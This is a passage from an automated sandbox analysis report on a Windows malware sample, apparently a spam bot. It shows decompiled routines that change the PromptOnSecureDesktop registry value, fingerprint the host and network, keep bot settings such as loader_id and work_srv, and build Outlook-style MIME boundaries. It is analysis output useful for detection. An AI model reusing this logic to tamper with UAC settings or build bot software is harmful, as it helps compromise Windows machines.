								goto L42;
							}
							__eflags = _v20 -  *0x4121a4; // 0x0
							if(__eflags != 0) {
								goto L42;
							}
							_t128 = E004024C2(_v8, _t127, 0);
							_t196 = _t196 + 0xc;
							__eflags =  *0x4122d4 - _t128; // 0x0
							if(__eflags == 0) {
								goto L53;
							}
							goto L42;
						}
						_t189 = 4;
						_v8 = 0;
						_v16 = _t189;
						_t159 = E00402544(0x4122f8,  &E00410710, 0x35, 0xe4, 0xc8);
						_t199 = _t199 + 0x14;
						_t160 = RegOpenKeyExA(0x80000002, _t159, 0, 0x103,  &_v12);
						__eflags = _t160;
						if(_t160 != 0) {
							goto L18;
						}
						_t165 = RegQueryValueExA(_v12,  &_v388, 0,  &_v28,  &_v8,  &_v16);
						__eflags = _t165;
						if(_t165 != 0) {
							L16:
							_v8 = 0;
							RegSetValueExA(_v12,  &_v388, 0, _t189,  &_v8, _t189);
							L17:
							RegCloseKey(_v12);
							goto L18;
						}
						__eflags = _v28 - _t189;
						if(_v28 != _t189) {
							goto L16;
						}
						__eflags = _v16 - _t189;
						if(_v16 != _t189) {
							goto L16;
						}
						__eflags = _v8;
						if(_v8 == 0) {
							goto L17;
						}
						goto L16;
					}
				}
			}

0x00408328
0x00408328
0x00408334
0x0040833e
0x00000000
0x00408342
0x0040834a
0x00408354
0x00408356
0x0040846b
0x0040846e
0x00408474
0x00000000
0x00000000
0x0040847a
0x00408480
0x00000000
0x00000000
0x004084a2
0x004084ad
0x004084b6
0x004084b8
0x004084ba
0x00408543
0x0040855f
0x00408564
0x0040856d
0x0040856f
0x00408571
0x004085a5
0x004085ac
0x004085b1
0x004085b4
0x004085b7
0x004085bc
0x004085c1
0x00000000
0x004085b7
0x00408573
0x00408579
0x0040857b
0x0040857b
0x0040857e
0x0040857e
0x00408580
0x00408581
0x00408581
0x00408587
0x00408587
0x00408596
0x0040859f
0x00000000
0x0040859f
0x004084d3
0x004084d9
0x004084db
0x004084dd
0x004084e1
0x004084e3
0x004084e6
0x004084eb
0x004084f0
0x004084f1
0x004084f4
0x004084f6
0x004084f8
0x0040850b
0x00408511
0x00408513
0x00408518
0x0040851d
0x0040851e
0x0040851e
0x00408513
0x004084f6
0x004084e6
0x004084e1
0x00408524
0x0040852a
0x0040852d
0x00408538
0x0040853e
0x0040853f
0x00408541
0x00000000
0x00000000
0x00408541
0x00000000
0x0040835c
0x0040836e
0x00408373
0x00408376
0x00408378
0x00408464
0x00408464
0x00408779
0x00000000
0x0040877a
0x0040837e
0x00408384
0x00000000
0x00000000
0x0040838a
0x0040838d
0x00000000
0x00408393
0x00408393
0x00408399
0x0040839c
0x0040839c
0x0040839e
0x0040839f
0x0040839f
0x004083a5
0x004083ac
0x004083af
0x004083b1
0x004083b1
0x004083b3
0x004083ba
0x00408450
0x00408457
0x0040845c
0x004085c2
0x004085c2
0x004085c5
0x004085c8
0x004085ce
0x00408615
0x0040861a
0x00408620
0x004086a7
0x004086a8
0x004086ad
0x004086ae
0x004086b0
0x00408762
0x00408762
0x00408768
0x00408768
0x0040876b
0x00408770
0x00408775
0x00408778
0x00408778
0x00000000
0x00408778
0x004086b6
0x004086bb
0x004086bd
0x0040875b
0x0040875c
0x00000000
0x0040875c
0x004086c5
0x004086cc
0x004086d8
0x004086db
0x004086eb
0x004086f2
0x004086ff
0x00408705
0x0040870d
0x00408714
0x00408733
0x00408739
0x0040873b
0x0040874f
0x00408755
0x00000000
0x0040875a
0x00408746
0x0040874b
0x00000000
0x0040874b
0x0040862c
0x00408633
0x00408638
0x00408639
0x00408644
0x00408647
0x0040864a
0x0040864c
0x00408671
0x00408683
0x0040868c
0x00408693
0x0040869f
0x004086a4
0x00000000
0x00000000
0x00000000
0x00000000
0x0040864e
0x0040864e
0x0040864e
0x00408657
0x0040865d
0x00408660
0x00408663
0x00408666
0x0040866c
0x0040866c
0x00000000
0x0040864e
0x004085da
0x004085df
0x004085e2
0x004085e5
0x004085eb
0x00000000
0x00000000
0x004085ed
0x004085ef
0x00000000
0x00000000
0x004085f4
0x004085fa
0x00000000
0x00000000
0x00408601
0x00408606
0x00408609
0x0040860f
0x00000000
0x00000000
0x00000000
0x0040860f
0x004083c2
0x004083df
0x004083e2
0x004083e5
0x004083ea
0x004083f3
0x004083f9
0x004083fb
0x00000000
0x00000000
0x00408414
0x0040841a
0x0040841c
0x0040842d
0x0040843e
0x00408441
0x00408447
0x0040844a
0x00000000
0x0040844a
0x0040841e
0x00408421
0x00000000
0x00000000
0x00408423
0x00408426
0x00000000
0x00000000
0x00408428
0x0040842b
0x00000000
0x00000000
0x00000000
0x0040842b
0x0040838d

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 004083F3
RegQueryValueExA.ADVAPI32(00410750,?,00000000,?,00408893,?,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408414
RegSetValueExA.ADVAPI32(00410750,?,00000000,00000004,00408893,00000004,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408441
RegCloseKey.ADVAPI32(00410750,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 0040844A

Strings

PromptOnSecureDesktop, xrefs: 0040834F, 004083DE, 00408456, 004084A1, 0040855E, 004085AB, 00408682, 0040869E
localcfg, xrefs: 00408348

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: PromptOnSecureDesktop$localcfg
API String ID: 237177642-1678164370
Opcode ID: fa24641082b79d576863243b8bb0648835c1994729d36f8da5aba4e321493cbe
Instruction ID: 84ba07e5042139a9063b988de9b3f7486f2cd5d6c0453319c527b22e45c4d953
Opcode Fuzzy Hash: fa24641082b79d576863243b8bb0648835c1994729d36f8da5aba4e321493cbe
Instruction Fuzzy Hash: DAC1D2B1D00109BEEB11ABA0DE85EEF7BBCEB04304F14447FF544B2191EA794E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040199C, Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 106
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040199C(void* __eax) {
				long _v8;
				_Unknown_base(*)()* _v12;
				struct HINSTANCE__* _v16;
				char _v20;
				void* _v24;
				long _v28;
				_Unknown_base(*)()* _t30;
				intOrPtr _t32;
				void* _t34;
				void* _t41;
				struct HINSTANCE__* _t48;
				_Unknown_base(*)()* _t49;
				void* _t50;

				_v20 = 0;
				_v28 = 0;
				__imp__#11("123.45.67.89");
				_v24 = __eax;
				_t48 = LoadLibraryA("Iphlpapi.dll");
				_v16 = _t48;
				if(_t48 != 0) {
					_v12 = GetProcAddress(_t48, "GetAdaptersInfo");
					_t49 = GetProcAddress(_t48, "GetIfEntry");
					_t30 = GetProcAddress(_v16, "GetBestInterface");
					if(_v12 == 0 || _t49 == 0 || _t30 == 0) {
						FreeLibrary(_v16);
						goto L21;
					} else {
						 *_t30(_v24,  &_v20);
						_t34 = GetProcessHeap();
						_v24 = _t34;
						if(_t34 == 0) {
							L21:
							_t32 = 0;
							L22:
							return _t32;
						}
						_t50 = HeapAlloc(_t34, 0, 0x288);
						if(_t50 == 0) {
							goto L21;
						}
						_push( &_v8);
						_push(_t50);
						_v8 = 0x288;
						if(_v12() == 0x6f) {
							_t50 = HeapReAlloc(_v24, 0, _t50, _v8);
						}
						if(_t50 == 0) {
							L18:
							FreeLibrary(_v16);
							if(_v28 == 0) {
								goto L21;
							}
							_t32 = 1;
							goto L22;
						} else {
							_push( &_v8);
							_push(_t50);
							if(_v12() != 0) {
								goto L18;
							}
							_t41 = _t50;
							while( *((intOrPtr*)(_t41 + 0x19c)) != _v20) {
								_t41 =  *_t41;
								if(_t41 != 0) {
									continue;
								}
								L17:
								HeapFree(_v24, 0, _t50);
								goto L18;
							}
							if( *((intOrPtr*)(_t41 + 0x1a0)) != 6) {
								_v28 = 1;
							}
							goto L17;
						}
					}
				}
				return 0;
			}

0x004019ab
0x004019ae
0x004019b1
0x004019bc
0x004019c5
0x004019c7
0x004019cc
0x004019ea
0x004019f7
0x004019f9
0x004019fe
0x00401ab6
0x00000000
0x00401a14
0x00401a1b
0x00401a1d
0x00401a23
0x00401a28
0x00401abc
0x00401abc
0x00401abe
0x00000000
0x00401abe
0x00401a3c
0x00401a40
0x00000000
0x00000000
0x00401a45
0x00401a46
0x00401a47
0x00401a50
0x00401a60
0x00401a60
0x00401a67
0x00401aa1
0x00401aa4
0x00401aad
0x00000000
0x00000000
0x00401aaf
0x00000000
0x00401a69
0x00401a6c
0x00401a6d
0x00401a73
0x00000000
0x00000000
0x00401a75
0x00401a77
0x00401a82
0x00401a86
0x00000000
0x00000000
0x00401a96
0x00401a9b
0x00000000
0x00401a9b
0x00401a91
0x00401a93
0x00401a93
0x00000000
0x00401a91
0x00401a67
0x004019fe
0x00000000

APIs

inet_addr.WS2_32(123.45.67.89), ref: 004019B1
LoadLibraryA.KERNEL32(Iphlpapi.dll,?,?,?,?,00000001,00401E9E), ref: 004019BF
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo,?,?,?,?,?,00000001,00401E9E), ref: 004019E2
GetProcAddress.KERNEL32(00000000,GetIfEntry,?,?,?,?,00000001,00401E9E), ref: 004019ED
GetProcAddress.KERNEL32(?,GetBestInterface,?,?,?,?,00000001,00401E9E), ref: 004019F9
GetProcessHeap.KERNEL32(?,?,?,?,00000001,00401E9E), ref: 00401A1D
HeapAlloc.KERNEL32(00000000,00000000,00000288,?,?,?,?,00000001,00401E9E), ref: 00401A36
HeapReAlloc.KERNEL32(?,00000000,00000000,00401E9E,?,?,?,?,00000001,00401E9E), ref: 00401A5A
HeapFree.KERNEL32(?,00000000,00000000,?,?,?,?,00000001,00401E9E), ref: 00401A9B
FreeLibrary.KERNEL32(?,?,?,?,?,00000001,00401E9E), ref: 00401AA4

Strings

~s`ysps, xrefs: 004019B1
Iphlpapi.dll, xrefs: 004019B7
GetAdaptersInfo, xrefs: 004019DC
GetIfEntry, xrefs: 004019E4
GetBestInterface, xrefs: 004019EF
123.45.67.89, xrefs: 004019A6
localcfg, xrefs: 004019A3

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$AddressProc$AllocFreeLibrary$LoadProcessinet_addr
String ID: 123.45.67.89$GetAdaptersInfo$GetBestInterface$GetIfEntry$Iphlpapi.dll$localcfg$~s`ysps
API String ID: 835516345-819159683
Opcode ID: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction ID: c689a3d9ae3379b0bfe51822f68a21815d588b76a9689f39126eb657c90dfffc
Opcode Fuzzy Hash: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction Fuzzy Hash: 39313E32A01219AFCF119FE4DD888AFBBB9EB45311B24457BE501B2260D7B94E819F58

Uniqueness

Uniqueness Score: -1.00%

Function 00401D96, Relevance: 30.0, APIs: 6, Strings: 11, Instructions: 205
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00401D96(void* __ecx, intOrPtr* _a4) {
				struct _OSVERSIONINFOA _v156;
				struct _SYSTEM_INFO _v192;
				char _v196;
				intOrPtr _v200;
				intOrPtr _t59;
				signed int _t61;
				signed int _t63;
				void* _t65;
				intOrPtr _t66;
				intOrPtr _t67;
				signed int _t71;
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr _t97;
				intOrPtr _t102;
				intOrPtr* _t103;
				intOrPtr* _t105;
				void* _t109;
				void* _t110;
				void* _t111;
				void* _t112;
				void* _t113;
				void* _t114;

				_t105 = _a4;
				_t102 = 0x64;
				E0040EE2A(__ecx, _t105, 0, _t102);
				_t109 =  &_v200 + 0xc;
				 *_t105 = _t102;
				_v156.dwOSVersionInfoSize = 0x9c;
				if(GetVersionExA( &_v156) == 0) {
					 *((char*)(_t105 + 0x41)) = 0;
				} else {
					 *((char*)(_t105 + 0x41)) = (_v156.dwMajorVersion << 4) + _v156.dwMinorVersion;
				}
				GetSystemInfo( &_v192);
				 *((char*)(_t105 + 0x3f)) = _v192.dwNumberOfProcessors;
				_v196 = 0;
				_t103 = GetProcAddress(GetModuleHandleA("kernel32"), "IsWow64Process");
				if(_t103 != 0) {
					 *_t103(GetCurrentProcess(),  &_v196);
				}
				_t104 = "localcfg";
				 *((char*)(_t105 + 0x40)) = 2;
				_t59 = E0040E819(1, "localcfg", "lid_file_upd", 0);
				_t92 = "flags_upd";
				 *((intOrPtr*)(_t105 + 0x24)) = _t59;
				 *(_t105 + 4) =  *(_t105 + 4) | E0040E819(1, "localcfg", "flags_upd", 0);
				_t61 =  *(_t105 + 4);
				_t110 = _t109 + 0x20;
				if((_t61 & 0x00000008) != 0) {
					 *(_t105 + 4) = _t61 & 0xfffffff7;
					E0040DF70(1, "work_srv");
					E0040DF70(1, "start_srv");
					_t110 = _t110 + 0x10;
				}
				E0040EA84(1, _t104, _t92, 0);
				_t93 = 0;
				_t63 = E0040E819(1, _t104, "net_type", 0);
				_t111 = _t110 + 0x20;
				 *(_t105 + 0x14) = _t63;
				if(E0040199C(_t63) == 0) {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000010;
				} else {
					 *(_t105 + 0x14) =  *(_t105 + 0x14) | 0x00000020;
				}
				_t65 = E0040E819(1, _t104, "born_date", _t93);
				_t112 = _t111 + 0x10;
				 *((intOrPtr*)(_t105 + 0x30)) = _t93;
				if(_t65 == _t93) {
					_t97 = E0040F04E(_t93);
					E0040EA84(1, _t104, "born_date", _t97);
					_t112 = _t112 + 0x14;
					 *((intOrPtr*)(_t105 + 0x30)) = _t97;
					_t93 = 0;
				}
				_t94 = "id";
				_t66 = E0040E819(1, _t104, "id", _t93);
				_t113 = _t112 + 0x10;
				 *((intOrPtr*)(_t105 + 0xc)) = _t66;
				if(_t66 == 0) {
					_v200 = E00401B71();
					E0040EA84(1, _t104, _t94, _t77);
					_t113 = _t113 + 0x10;
					 *((intOrPtr*)(_t105 + 0xc)) = _v200;
				}
				_t95 = "hi_id";
				_t67 = E0040E819(1, _t104, "hi_id", 0);
				_t114 = _t113 + 0x10;
				 *((intOrPtr*)(_t105 + 0x10)) = _t67;
				if(_t67 == 0) {
					_v200 = E00401BDF();
					E0040EA84(1, _t104, _t95, _t74);
					_t114 = _t114 + 0x10;
					 *((intOrPtr*)(_t105 + 0x10)) = _v200;
				}
				 *((intOrPtr*)(_t105 + 8)) = 0x5e;
				_t96 = E0040E819(1, _t104, "loader_id", 0);
				if(_t96 == 0) {
					_t96 = 6;
					E0040EA84(1, _t104, "loader_id", _t96);
				}
				 *((intOrPtr*)(_t105 + 0x1c)) = _t96;
				 *((intOrPtr*)(_t105 + 0x34)) = E004030B5();
				if( *0x41201d == 0) {
					if( *0x41201f == 0) {
						 *(_t105 + 0x18) =  *(_t105 + 0x18) & 0x00000000;
					} else {
						if(E00406EC3() != 0) {
							 *(_t105 + 0x18) = 2;
						} else {
							 *(_t105 + 0x18) = 0x10;
						}
					}
				} else {
					 *(_t105 + 0x18) = 1;
				}
				if(_v196 != 0) {
					 *(_t105 + 0x18) =  *(_t105 + 0x18) | 0x00000200;
				}
				_t71 = GetTickCount() / 0x3e8;
				 *0x412110 = _t71;
				 *(_t105 + 0x28) = _t71;
				return _t71;
			}

0x00401d9f
0x00401da9
0x00401daf
0x00401db4
0x00401dbc
0x00401dbe
0x00401dce
0x00401de0
0x00401dd0
0x00401ddb
0x00401ddb
0x00401de8
0x00401dfc
0x00401dff
0x00401e10
0x00401e14
0x00401e22
0x00401e22
0x00401e2a
0x00401e34
0x00401e38
0x00401e3e
0x00401e46
0x00401e4e
0x00401e51
0x00401e54
0x00401e59
0x00401e64
0x00401e67
0x00401e72
0x00401e77
0x00401e77
0x00401e7f
0x00401e84
0x00401e8e
0x00401e93
0x00401e96
0x00401ea0
0x00401ea8
0x00401ea2
0x00401ea2
0x00401ea2
0x00401eb4
0x00401eb9
0x00401ebc
0x00401ec1
0x00401ec9
0x00401ed3
0x00401ed8
0x00401edb
0x00401ede
0x00401ede
0x00401ee1
0x00401ee9
0x00401eee
0x00401ef1
0x00401ef6
0x00401f01
0x00401f05
0x00401f0e
0x00401f11
0x00401f11
0x00401f16
0x00401f1e
0x00401f23
0x00401f26
0x00401f2b
0x00401f36
0x00401f3a
0x00401f43
0x00401f46
0x00401f46
0x00401f52
0x00401f5e
0x00401f65
0x00401f69
0x00401f72
0x00401f77
0x00401f7a
0x00401f82
0x00401f8c
0x00401f9a
0x00401fb7
0x00401f9c
0x00401fa3
0x00401fae
0x00401fa5
0x00401fa5
0x00401fa5
0x00401fa3
0x00401f8e
0x00401f8e
0x00401f8e
0x00401fc0
0x00401fc2
0x00401fc2
0x00401fd6
0x00401fd9
0x00401fde
0x00401fea

APIs

GetVersionExA.KERNEL32 ref: 00401DC6
GetSystemInfo.KERNEL32(?), ref: 00401DE8
GetModuleHandleA.KERNEL32(kernel32,IsWow64Process), ref: 00401E03
GetProcAddress.KERNEL32(00000000), ref: 00401E0A
GetCurrentProcess.KERNEL32(?), ref: 00401E1B
GetTickCount.KERNEL32 ref: 00401FC9

Part of subcall function 00401BDF: GetComputerNameA.KERNEL32 ref: 00401C15

Strings

flags_upd, xrefs: 00401E3E, 00401E43, 00401E7C
start_srv, xrefs: 00401E6C
lid_file_upd, xrefs: 00401E25
work_srv, xrefs: 00401E5E
hi_id, xrefs: 00401F16, 00401F1B, 00401F33
born_date, xrefs: 00401EAD, 00401ECC
net_type, xrefs: 00401E87
loader_id, xrefs: 00401F4B, 00401F6B
IsWow64Process, xrefs: 00401DF2
kernel32, xrefs: 00401DF7
localcfg, xrefs: 00401E2A, 00401E31, 00401E44, 00401E7D, 00401E8C, 00401EB2, 00401ED1, 00401EE7, 00401EFF, 00401F1C, 00401F34, 00401F50, 00401F70

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressComputerCountCurrentHandleInfoModuleNameProcProcessSystemTickVersion
String ID: IsWow64Process$born_date$flags_upd$hi_id$kernel32$lid_file_upd$loader_id$localcfg$net_type$start_srv$work_srv
API String ID: 4207808166-1381319158
Opcode ID: 06a71000b2050ffffb28f1e377e4e295e4383cdcc3d086a102177916c6e465f6
Instruction ID: b3eca0d4ea79c587a2fa4a56f90b70e38022670634c063da468af4dc7e8924f5
Opcode Fuzzy Hash: 06a71000b2050ffffb28f1e377e4e295e4383cdcc3d086a102177916c6e465f6
Instruction Fuzzy Hash: 2451EA705043446FD330AF768C85F67BAECEB84708F00493FF955A2292D7BDA95487A9

Uniqueness

Uniqueness Score: -1.00%

Function 0041D582, Relevance: 24.1, APIs: 16, Instructions: 78timethreadCOMMON

Download Yara Rule

APIs

CancelDeviceWakeupRequest.KERNEL32 ref: 0041D593
CreateFileMappingW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00424F7C), ref: 0041D5A8
SetThreadIdealProcessor.KERNEL32(00000000,00000000), ref: 0041D5B2
SetFirmwareEnvironmentVariableW.KERNEL32(00424FF0,00424FB0,00000000,00000000), ref: 0041D5C6
GetSystemTimeAsFileTime.KERNEL32(?), ref: 0041D5D3
CancelWaitableTimer.KERNEL32(00000000), ref: 0041D5DB
GetCPInfo.KERNEL32(00000000,00000000), ref: 0041D5E5
SearchPathA.KERNEL32(004250C0,0042509C,00425038,00000000,?,?), ref: 0041D60A
GetCurrentDirectoryW.KERNEL32(00000000,?), ref: 0041D619
FindFirstChangeNotificationW.KERNEL32(004250E0,00000000,00000000), ref: 0041D628
InterlockedIncrement.KERNEL32(?), ref: 0041D635
LCMapStringA.KERNEL32(00000000,00000000,00425120,00000000,?,00000000), ref: 0041D64F
InterlockedExchange.KERNEL32(?,00000000), ref: 0041D65E
SetEnvironmentVariableA.KERNEL32(00425158,00425138), ref: 0041D66E
GetProfileSectionW.KERNEL32(00425170,?,00000000), ref: 0041D682
TlsSetValue.KERNEL32(00000000,00000000), ref: 0041D68C

Memory Dump Source

Source File: 00000018.00000002.800737404.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: CancelEnvironmentFileInterlockedTimeVariable$ChangeCreateCurrentDeviceDirectoryExchangeFindFirmwareFirstIdealIncrementInfoMappingNotificationPathProcessorProfileRequestSearchSectionStringSystemThreadTimerValueWaitableWakeup
String ID:
API String ID: 884085553-0
Opcode ID: 7e64e7597567b26f00b9510992afd2a13a1b393d7dd6d971f004f110ce574ab2
Instruction ID: ff0b311bc9c119b6d607a358446ad5cb683167c5616be92160761ef401beaeed
Opcode Fuzzy Hash: 7e64e7597567b26f00b9510992afd2a13a1b393d7dd6d971f004f110ce574ab2
Instruction Fuzzy Hash: F0212F35780325BFE7205BA1AC4AFE87B64AB4DB02F648095F709990D0DAF415458F6E

Uniqueness

Uniqueness Score: -1.00%

Function 00419319, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004193A8
_get_int64_arg.LIBCMTD ref: 004193D0
_write_multi_char.LIBCMTD ref: 0041969E
_write_string.LIBCMTD ref: 004196B9
_write_multi_char.LIBCMTD ref: 004196E5
_wctomb_s.LIBCMTD ref: 00419762

Strings

9, xrefs: 004195A8
-, xrefs: 0041963E

Memory Dump Source

Source File: 00000018.00000002.800737404.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: _get_int64_arg_write_multi_char$_wctomb_s_write_string
String ID: -$9
API String ID: 3228554730-1631151375
Opcode ID: f69abf2439809defd3f25aab8271ee04f0ac450eb1bceef394d8b32a02f8df80
Instruction ID: e82540bff33ebd5da7cafedc0eb0365d0b7180a2e1ed7bfc7c3f26491ab4af7a
Opcode Fuzzy Hash: f69abf2439809defd3f25aab8271ee04f0ac450eb1bceef394d8b32a02f8df80
Instruction Fuzzy Hash: 7EF138B1D052299FDB24CF58CC99BEEB7B1BB48304F14819AE419A7281D7389EC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00402DF2, Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 97
memorylibrarynetworkCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00402DF2(intOrPtr _a4) {
				void* _v8;
				signed int _v12;
				long _v16;
				intOrPtr _v28;
				short _v30;
				char _v32;
				struct HINSTANCE__* _t18;
				void* _t22;
				signed int _t23;
				short _t27;
				signed int _t31;
				intOrPtr* _t35;
				intOrPtr* _t37;
				CHAR* _t38;
				void* _t40;

				_t38 = "iphlpapi.dll";
				_t18 = GetModuleHandleA(_t38);
				if(_t18 == 0 || _t18 == 0xffffffff) {
					_t18 = LoadLibraryA(_t38);
				}
				if(_t18 == 0 || _t18 == 0xffffffff) {
					L18:
					return 0;
				} else {
					_t35 = GetProcAddress(_t18, "GetNetworkParams");
					if(_t35 == 0) {
						goto L18;
					}
					_t22 = HeapAlloc(GetProcessHeap(), 0, 0x4000);
					_t33 =  &_v16;
					_v8 = _t22;
					_v16 = 0x4000;
					_t23 =  *_t35(_t22,  &_v16);
					if(_t23 != 0) {
						goto L18;
					}
					_v12 = _v12 & _t23;
					_t37 = _v8 + 0x10c;
					if(_t37 == 0) {
						L17:
						HeapFree(GetProcessHeap(), 0, _v8);
						return _v12;
					} else {
						goto L8;
					}
					do {
						L8:
						_t40 = _t37 + 4;
						if(_t40 == 0) {
							goto L16;
						}
						_t27 = 2;
						_v32 = _t27;
						__imp__#9(0x35);
						_v30 = _t27;
						__imp__#11(_t40);
						_v28 = _t27;
						if(_t27 == 0 || _t27 == 0xffffffff) {
							__imp__#52(_t40);
							if(_t27 == 0) {
								goto L16;
							}
							_t27 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t27 + 0xc))))));
							_v28 = _t27;
							goto L13;
						} else {
							L13:
							if(_t27 != 0 && _t27 != 0xffffffff) {
								_t31 = E00402CEB(_t33,  &_v32, _a4);
								_pop(_t33);
								_v12 = _t31;
								if(_t31 != 0) {
									goto L17;
								}
							}
						}
						L16:
						_t37 =  *_t37;
					} while (_t37 != 0);
					goto L17;
				}
			}

0x00402dfb
0x00402e01
0x00402e09
0x00402e11
0x00402e11
0x00402e19
0x00402ef1
0x00000000
0x00402e28
0x00402e34
0x00402e38
0x00000000
0x00000000
0x00402e4f
0x00402e55
0x00402e5a
0x00402e5d
0x00402e60
0x00402e64
0x00000000
0x00000000
0x00402e6d
0x00402e70
0x00402e76
0x00402ede
0x00402ee6
0x00000000
0x00000000
0x00000000
0x00000000
0x00402e78
0x00402e78
0x00402e78
0x00402e7d
0x00000000
0x00000000
0x00402e81
0x00402e84
0x00402e88
0x00402e8f
0x00402e93
0x00402e99
0x00402e9e
0x00402ea6
0x00402eae
0x00000000
0x00000000
0x00402eb5
0x00402eb7
0x00000000
0x00402eba
0x00402eba
0x00402ebc
0x00402eca
0x00402ed0
0x00402ed1
0x00402ed6
0x00000000
0x00000000
0x00402ed6
0x00402ebc
0x00402ed8
0x00402ed8
0x00402eda
0x00000000
0x00402e78

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll,73BCEA30,?,000DBBA0,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E01
LoadLibraryA.KERNEL32(iphlpapi.dll,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E11
GetProcAddress.KERNEL32(00000000,GetNetworkParams,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E2E
GetProcessHeap.KERNEL32(00000000,00004000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4C
HeapAlloc.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4F
htons.WS2_32(00000035), ref: 00402E88
inet_addr.WS2_32(?), ref: 00402E93
gethostbyname.WS2_32(?), ref: 00402EA6
GetProcessHeap.KERNEL32(00000000,?,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE3
HeapFree.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE6

Strings

~s`ysps, xrefs: 00402E93
iphlpapi.dll, xrefs: 00402DFB, 00402E00, 00402E10
GetNetworkParams, xrefs: 00402E28

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$Process$AddressAllocFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: GetNetworkParams$iphlpapi.dll$~s`ysps
API String ID: 929413710-64764534
Opcode ID: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction ID: af9ac6d56ee620c8fffc4a8d4b95bbdbc136fdcf8554a1f3230d1ae4f4a52a91
Opcode Fuzzy Hash: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction Fuzzy Hash: E3318131A40209ABDB119BB8DD4CAAF7778AF04361F144136F914F72D0DBB8D9819B9C

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD89, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 121
timeCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0040AD89(void* __ecx, void* __eflags) {
				signed int _t48;
				signed int _t50;
				void* _t53;
				intOrPtr _t55;
				void* _t76;
				signed int _t77;
				void* _t81;
				CHAR* _t92;
				void* _t94;
				void* _t96;
				void* _t98;

				_t76 = __ecx;
				_t94 = _t96 - 0x74;
				GetLocalTime(_t94 + 0x50);
				SystemTimeToFileTime(_t94 + 0x50, _t94 + 0x64);
				E0040EE2A(_t76, _t94 - 0x110, 0, 0x80);
				E0040AD08(_t94 - 0x110);
				_t98 = _t96 - 0x184 + 0x10;
				if(E004030B5() == 0) {
					 *((intOrPtr*)(_t94 + 0x6c)) = "127.0.0.1";
				} else {
					_push(_t94 - 0x90);
					 *((intOrPtr*)(_t94 + 0x6c)) = E0040A7A3(_t47, _t47);
				}
				_t48 = E0040ECA5();
				_t77 = 0xe;
				_t50 = E0040ECA5();
				_t92 = "%OUTLOOK_BND_";
				 *((intOrPtr*)(_t94 + 0x70)) = (_t50 & 0x00000001) + _t48 % _t77 + 0xb;
				_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				while(1) {
					_t103 = _t53;
					if(_t53 == 0) {
						break;
					}
					_t55 = E0040EDAC(_t53 + 0xd);
					_t81 =  *((intOrPtr*)(_t94 + 0x70)) + _t55;
					__eflags = _t81;
					 *((intOrPtr*)(_t94 + 0x60)) = _t55;
					wsprintfA(_t94 - 0x70, "----=_NextPart_%03d_%04X_%08.8lX.%08.8lX", _t55, _t81,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64));
					wsprintfA(_t94 + 0x10, "%s%d", _t92,  *((intOrPtr*)(_t94 + 0x60)));
					E0040EF7C(__eflags,  *((intOrPtr*)(_t94 + 0x7c)), _t94 + 0x10, _t94 - 0x70, 0x3e800, 0);
					_t98 = _t98 + 0x40;
					_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				}
